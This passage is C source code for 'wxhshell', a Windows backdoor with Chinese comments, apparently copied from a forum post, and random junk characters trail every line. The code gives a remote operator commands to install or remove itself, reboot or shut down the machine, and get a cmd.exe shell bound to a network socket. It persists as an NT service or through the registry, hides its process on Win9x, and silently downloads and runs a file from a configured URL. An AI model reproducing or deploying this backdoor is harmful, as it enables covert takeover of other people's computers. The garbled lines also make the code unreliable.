  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b*FU*)<4.  
  } \2gvp6  
  else { nz&b5Xb2  
dEQReD  
    switch(cmd[0]) { |%:q hs,  
  )~?S0]j}  
  // 帮助 [al(>Wr9  
  case '?': { C NzSBm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cy&  
    break; 2pxWv )0  
  } rY[3_NG%  
  // 安装 hpqHllL  
  case 'i': { ,NaV [ "9$  
    if(Install()) n~"g'Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  EbBv}9g  
    else xS H6n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,<Grd5em.  
    break; PUQ_w  
    } =#.8$oa^  
  // 卸载 %)<oX9E  
  case 'r': { OUlxeo/  
    if(Uninstall()) I*+LJy;j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EBj,pk5M  
    else d739UhKC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rSF;Lp)}  
    break; m0%iw1OsH%  
    } /^z/]!JG:V  
  // 显示 wxhshell 所在路径 LM"W)S  
  case 'p': { 'FPcAW^8  
    char svExeFile[MAX_PATH]; 45r]wT(C   
    strcpy(svExeFile,"\n\r"); vu_>U({. T  
      strcat(svExeFile,ExeFile); =A0"0D{\  
        send(wsh,svExeFile,strlen(svExeFile),0); @sB}q 6>  
    break; Qb6QXjN Q  
    } (6ohrM>Q  
  // 重启 1kvPiV=X>  
  case 'b': { DJ1XN pm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0^<Skm27"  
    if(Boot(REBOOT)) ~!3t8Hx6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [0%yJH  
    else { f7_\).T  
    closesocket(wsh); L;.VEz!  
    ExitThread(0); -A~;MGY  
    } Z%Tq1O  
    break; a!c/5)v(  
    } eEWro F  
  // 关机 r%g <h T 8  
  case 'd': { E(aX4^]g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ";-{ ~  
    if(Boot(SHUTDOWN)) */%$6s~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~4MtDf  
    else { g( ]b\rj  
    closesocket(wsh); 8Z9MD<RLw  
    ExitThread(0); ~h>rskJ _  
    } m6bWmGn GC  
    break; .KT 7le<Zm  
    } hV3,^#9o  
  // 获取shell 'WKu0Yi^'  
  case 's': { "B|nhd  
    CmdShell(wsh); dxzvPgi?  
    closesocket(wsh); 26\HV  
    ExitThread(0);  /gqqKUx  
    break; ]Wy^VcqX  
  } [ -9)T  
  // 退出 V9+xL 1U#  
  case 'x': { =Q/w%8G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W;3 R;  
    CloseIt(wsh); 1?D8|<  
    break; " jl1.Ah  
    } {&\J)oZ  
  // 离开 @K,2mhE~h  
  case 'q': { pTa'.m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \b_-mnN"  
    closesocket(wsh); im_w+h%^  
    WSACleanup(); ^Ei*M0fF  
    exit(1); ~I8v5 H  
    break; +?URVp  
        } MAuM)8_P/|  
  } ppwd-^f3j  
  } w$DG=!  
]yyU)V0Iu  
  // 提示信息 g)=V#Bglv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4'+d"Ok  
} 9O),/SH;:  
  } p&k 0Rx0Q3  
89*S? C1  
  return; E p^B,;~  
} Kwy1SyU  
W9 n^T+2  
// shell模块句柄 (/T +Wpy?  
int CmdShell(SOCKET sock) XoDJzrL#  
{ L/qZ ;{  
STARTUPINFO si; tpv?`(DDU  
ZeroMemory(&si,sizeof(si)); oS[W*\7'!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |RHO+J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H/cs_i  
PROCESS_INFORMATION ProcessInfo; EsT0"{  
char cmdline[]="cmd"; ggrI>vaw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jG+T.  
  return 0; R19'| TJ  
} qJ\X~5{  
Z 7`5x  
// 自身启动模式 8pX f T%]  
int StartFromService(void) mBw2  
{ umJay />  
typedef struct M.o?CX'  
{ ,$HHaoo g  
  DWORD ExitStatus; ,3G$`  
  DWORD PebBaseAddress; Zr\2BOcc.l  
  DWORD AffinityMask; >=4sPF)  
  DWORD BasePriority; am]3 "V>  
  ULONG UniqueProcessId; Hm.X}HO0L  
  ULONG InheritedFromUniqueProcessId; R!sNg   
}   PROCESS_BASIC_INFORMATION; "AT&!t[J  
bZxv/\  
PROCNTQSIP NtQueryInformationProcess; o:Ln._bj  
RM)1*l`!E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  ]a78tTi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sv.KI{;v$  
\z2vV +f  
  HANDLE             hProcess; y' 2<qj  
  PROCESS_BASIC_INFORMATION pbi; cge-'/8w%  
$`^H:Djr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DY$yiOH9  
  if(NULL == hInst ) return 0; PqTYAN&F  
b OW}"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uEBQoP2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YavfjS:2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P1dN32H o  
!?yxh/>lM  
  if (!NtQueryInformationProcess) return 0; ^%-NPo<  
G=vN;e_$_b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g<M0|eX@~  
  if(!hProcess) return 0; eT;AAGql  
;_x2 Ymw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C#Y,r)l  
4DvdE t  
  CloseHandle(hProcess); .8-PB*vb  
O:2 #_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Tsu\oJ[  
if(hProcess==NULL) return 0; b21}49bHN  
k"t >He  
HMODULE hMod; C,[ L/!  
char procName[255]; P~&O4['<  
unsigned long cbNeeded; TLy ;4R2Nn  
&q.)2o#Q.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O ,l\e 3;  
&u&2D$K,tp  
  CloseHandle(hProcess);  }K?F7cD  
)sqaR^  
if(strstr(procName,"services")) return 1; // 以服务启动 8^i\Y;6  
5@K\c6   
  return 0; // 注册表启动 bC6X?m=  
} c qv .dC  
L%f-L.9`u  
// 主模块 ,K T<4  
int StartWxhshell(LPSTR lpCmdLine) 6 tX.(/+L  
{ QI.t&sCh5  
  SOCKET wsl; I`lDWL  
BOOL val=TRUE; [S%J*sz~  
  int port=0; HP#ki!'  
  struct sockaddr_in door; 9_eS`,'  
=+`D  
  if(wscfg.ws_autoins) Install(); E`~i-kf  
ma3Qi/  
port=atoi(lpCmdLine); O!o <P5X^  
:#qUMiu$  
if(port<=0) port=wscfg.ws_port; r|M'TA~:  
ohtT O]\  
  WSADATA data; D^$]>-^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X+@s]  
=<Hy"4+?.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    j|ozGO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [;<<4k(nL  
  door.sin_family = AF_INET; vnDmFqelz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4yhcK&  
  door.sin_port = htons(port); O(odNQy~  
r;9z 5'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f;R>Pr;rD  
closesocket(wsl); fD0{ 5  
return 1; Ohc^d"[7  
} hRk,vB ]  
_<XgC\4O|  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Qt~K#mr/  
closesocket(wsl); iW'_R{)T  
return 1; #T[%6(QW  
} L+7*NaPY*  
  Wxhshell(wsl); 7$K}qsr<  
  WSACleanup(); R \ia6  
iEe#aO"D!  
return 0; iFSJ4 W(  
a"k'm}hVY$  
} |"_)zQ  
)t 5;d  
// 以NT服务方式启动 >n(F4C-pl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,|A{!j`  
{  $<:'!#%  
DWORD   status = 0; vpi l$Uq  
  DWORD   specificError = 0xfffffff; & wOE\TCL  
8'+7i8e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xt\Dy   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QOd!]*W`?m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'g2vX&=$A  
  serviceStatus.dwWin32ExitCode     = 0; s_TD4~ $  
  serviceStatus.dwServiceSpecificExitCode = 0; XYMxG:  
  serviceStatus.dwCheckPoint       = 0; FQ1arUOFW,  
  serviceStatus.dwWaitHint       = 0; ghX:"vV{n  
$:(z}sYQ7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0Lx3]"v  
  if (hServiceStatusHandle==0) return; X`D+jiQ(f  
p x0Sy|  
status = GetLastError(); Nvhy3  
  if (status!=NO_ERROR) )}q uw"H  
{ g(nK$,c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0juDuE?  
    serviceStatus.dwCheckPoint       = 0; (V8?,G>  
    serviceStatus.dwWaitHint       = 0; ^zHRSO  
    serviceStatus.dwWin32ExitCode     = status; CGkI\E  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'P,,<nkr|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?/)lnj)e{  
    return; u|T%Xy=LU  
  } Fk aXA.JE  
v:?o3 S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9Eu #lV  
  serviceStatus.dwCheckPoint       = 0; 0_Lm#fE U  
  serviceStatus.dwWaitHint       = 0; q P'[&h5Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rh[Ibm56  
} vn``0!FX  
(m/aV  
// 处理NT服务事件,比如:启动、停止 4 ]sCr+   
VOID WINAPI NTServiceHandler(DWORD fdwControl) &/iFnYVhy  
{ >2u y  
switch(fdwControl) lf6|.  
{ YQ+^  
case SERVICE_CONTROL_STOP: loBtd%wY  
  serviceStatus.dwWin32ExitCode = 0; TH YVT%v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @"w2R$o  
  serviceStatus.dwCheckPoint   = 0; v[smQO  
  serviceStatus.dwWaitHint     = 0; VE*j*U j  
  { _!%M%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Er? C;  
  } ]H>+m 9  
  return; h mds(lv7  
case SERVICE_CONTROL_PAUSE: SYeE) mI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `2,a(Sk#  
  break; LZ4xfB (  
case SERVICE_CONTROL_CONTINUE: 8'\~%xw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5=Suj*s{D#  
  break; y~dB5/  
case SERVICE_CONTROL_INTERROGATE: $e*B:}x}  
  break; k8 u%$G  
}; m9woredS,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >gnF]<  
} qfa}3k8et  
~o i)Lf1  
// 标准应用程序主函数 l0:5q?g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ld95[cTP  
{ 1 #q^uqO0  
aLYLd/ KV  
// 获取操作系统版本 McP~}"!^  
OsIsNt=GetOsVer(); qF'~F`6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4~*Y];!Q  
 cLAe sj  
  // 从命令行安装 @0D![oA  
  if(strpbrk(lpCmdLine,"iI")) Install(); TW2Z=ks=  
x2@,9OUx  
  // 下载执行文件 $ o " L;j  
if(wscfg.ws_downexe) { SHwRX? B|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yjFe'  
  WinExec(wscfg.ws_filenam,SW_HIDE); WcU@~05b  
} QkL@JF]Re  
<}]{~y  
if(!OsIsNt) { rd">JEK;;  
// 如果时win9x,隐藏进程并且设置为注册表启动 rw]yKH  
HideProc(); XGhwrI^  
StartWxhshell(lpCmdLine); xHe^"LL  
}  VGB-h'  
else VKNp,Lf  
  if(StartFromService()) `R0Y+#$8h  
  // 以服务方式启动 vtZ?X';wh  
  StartServiceCtrlDispatcher(DispatchTable); >D~w}z/fk  
else 1AT'S;`  
  // 普通方式启动 pqH4w(;  
  StartWxhshell(lpCmdLine); FQ!Oxlq,Q  
8kS~ENe?o  
return 0; sl^n6N  
}
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只看该作者 1 发表于: 2006-10-10
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